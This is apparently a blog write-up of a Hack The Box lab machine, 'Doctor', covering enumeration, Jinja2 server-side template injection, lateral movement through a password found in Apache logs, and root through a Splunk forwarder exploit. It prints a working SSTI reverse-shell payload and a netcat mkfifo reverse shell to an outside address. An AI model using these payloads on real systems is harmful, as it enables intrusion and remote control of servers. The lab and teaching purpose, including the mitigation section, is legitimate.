Sailor Security

Exploiting Server Side Template Injection (SSTI) Vulnerability

Table of Contents

  1. About the Vulnerability
  2. Enumeration
  3. Initial Foothold
  4. Lateral Movement
  5. Privilege Escalation
  6. Impact
    1. Technical Impacts
    2. Business Repercussions
  7. Mitigation

About the Vulnerability

  • Server-side template injection (SSTI) is a high-risk vulnerability where untrusted input is directly incorporated into server-side templates, allowing attackers to inject malicious code.
  • Exploiting SSTI can lead to unauthorized execution of commands on the server, potentially compromising data, disrupting services, and even gaining full access to the system. The danger lies in the ability to manipulate template engines, leading to severe security breaches.

Enumeration

Testing connection to the target box:

Brief Nmap Scan

Ports 22, 80, and 8089 are open.

Detailed Nmap Scan

Shows port 80 runs Apache 2.4.41 Ubuntu, however, port 22 (SSH) can’t be targeted at the moment until creds are acquired. Port 8089 seems https and quite interesting – I will dig in later.

nmap -sC -sV -p- --open doctor.htb

Manual inspection Port 80

Visited web home and sub-pages, source-code, and list of doctors were displayed under “Our Team” which can be possible users.

Web Directory Brute forcing

Utilizing the wfuzz tool against the target did not get any interesting results to ignite further investigation, I manually reviewed the founded directories anyway, but still nothing useful.

Manual inspection Port 8090

Ok, I see Splunk version 8.0.5, good to know, it requires authentication to visit the links below which I don’t have any creds. Checking for the Splunk 8.0.5 exploit on Google found an old exploit which it didn’t work. This also seems a dead end. I ran Dirbuster with multiple wordlists but still got nothing helpful. hmmm 🤔🤔🤔

I revisited port 80 and checked the email listed on the website, I noticed an ‘s’ at the end of the doctor. So, I updated the /etc/hosts file with doctors.htb.

Upon visiting the http://doctors.htb, my traffic was redirected to a login page, Fantastic! Some progress finally. The login page often is subject to many types of injection and brute-forcing attacks. However, I like to test the web functionality and sign up with a new random user – Jullien.

Logged in as made-up user Jullien, the interface allows the user to create messages, so I create some messages – injection code STTI payload along, but my code is not interpreted.

checking the source code, comment says “the /archive under testing”

Visiting /archive, there is nothing, checking /archive source code, I see XML codes, but where did the 25 come from? Ah I see, my payload from earlier (when creating a new message) is interpreted here. OK, we have STTI code execution.

Vulnerability Confirmed

Going back to my SSTI injection while making the new message post – simple 2*2 addition.

coming back to /archive source code, I see the result is 4!

testing to see what type of Template Engine is residing in the target system. Jinja python does not translate ‘2’ to a digit but rather a string, which {{2*’2′}} is 22. This is Jinja Python.

Initial Foothold

Utilizing the revshell payload in PayloadsAllTheThings, after injecting it in the title of ‘new message’, the reverse shell was executed by the underlying system and granted me a shell.

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

Post-Enumeration

The web user is a member of the adm group, which means there is some potential vulnerability or misconfiguration to be abused. Investigating…

Identified another system user, Shaun. It’s maybe the route to a lateral movement. We will see.

Looking around, for all possible vulnerabilities and misconfigurations, I found the backup directory under Apache logs – which the web admin has access to read weblogs. Reading the log, I spotted the string that contained the word password reset value – Guitar123. Maybe it will authenticate Shaun and grant us further access… fingers are crossed.

Lateral Movement

Attempting to authenticate with the found password in Apache logs against Shaun user, and it grants us access as user Shaun to the system.

spawn a python shell:

Privilege Escalation

In previous steps, the Splunk service on port 8089 required a pair of valid credentials, which I attempted with Shaun’s credentials, and it worked. Inspecting the data in the Splunk interface didn’t find much to lead to privilege escalation. Goodling for authenticated Splunk httpd, I came across SplunkWhisperer2, on Cnotin’s GitHub page, a vulnerability in Splunk Universal Forwarder (UF) misconfigurations leading to remote code execution.

https://github.com/cnotin/SplunkWhisperer2

Downloaded the exploit via <Git clone> command.

Utilizing the reverse shell payload below, I obtained root access to the target box.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.14 1337 >/tmp/f

Impact

Technical Impacts

  • Data Exposure: Attackers can access sensitive data stored on the server, such as configuration files, environment variables, and database contents.
  • Code Execution: Exploiting SSTI can lead to arbitrary code execution on the server, enabling attackers to run malicious code, install backdoors, or escalate privileges.
  • Server Compromise: An SSTI exploit can potentially compromise the entire server, leading to a complete loss of control over the system.
  • Availability: In some cases, exploiting SSTI can lead to denial of service (DoS) attacks, impacting the availability of the service.

Business Repercussions

  • Data Breach: Exposure of sensitive data can lead to regulatory fines, legal action, and damage to reputation.
  • Loss of Confidentiality: Intellectual property, trade secrets, and customer data may be compromised, leading to loss of competitive advantage and trust.
  • Financial Loss: Remediation costs, legal fees, and loss of business due to downtime can result in significant financial losses.
  • Reputation Damage: Public disclosure of a vulnerability and its exploitation can damage the organization’s reputation, leading to loss of customers and business opportunities.
  • Regulatory Compliance Issues: Violation of data protection regulations (e.g., GDPR, HIPAA) due to data breaches can result in hefty fines and legal consequences.

Mitigation

  1. Input Sanitization: Validate and sanitize user inputs to ensure they do not contain malicious code or template directives. Use libraries or frameworks that automatically sanitize inputs.
  2. Template Engine Configuration: Configure template engines to restrict or disable certain features that could be exploited, such as dynamic template inclusion or execution of arbitrary code.
  3. Contextual Output Encoding: Encode output based on the context (e.g., HTML, JavaScript, CSS) to prevent the execution of injected code.
  4. Whitelisting: Use whitelists to specify allowed templates, functions, or variables, rather than blacklisting dangerous ones.
  5. Content Security Policy (CSP): Implement CSP headers to restrict the sources from which certain content can be loaded, reducing the risk of XSS attacks that could lead to SSTI.
  6. Template Sandbox: Consider using a sandboxed environment for rendering templates, isolating them from the rest of the application to limit the impact of potential vulnerabilities.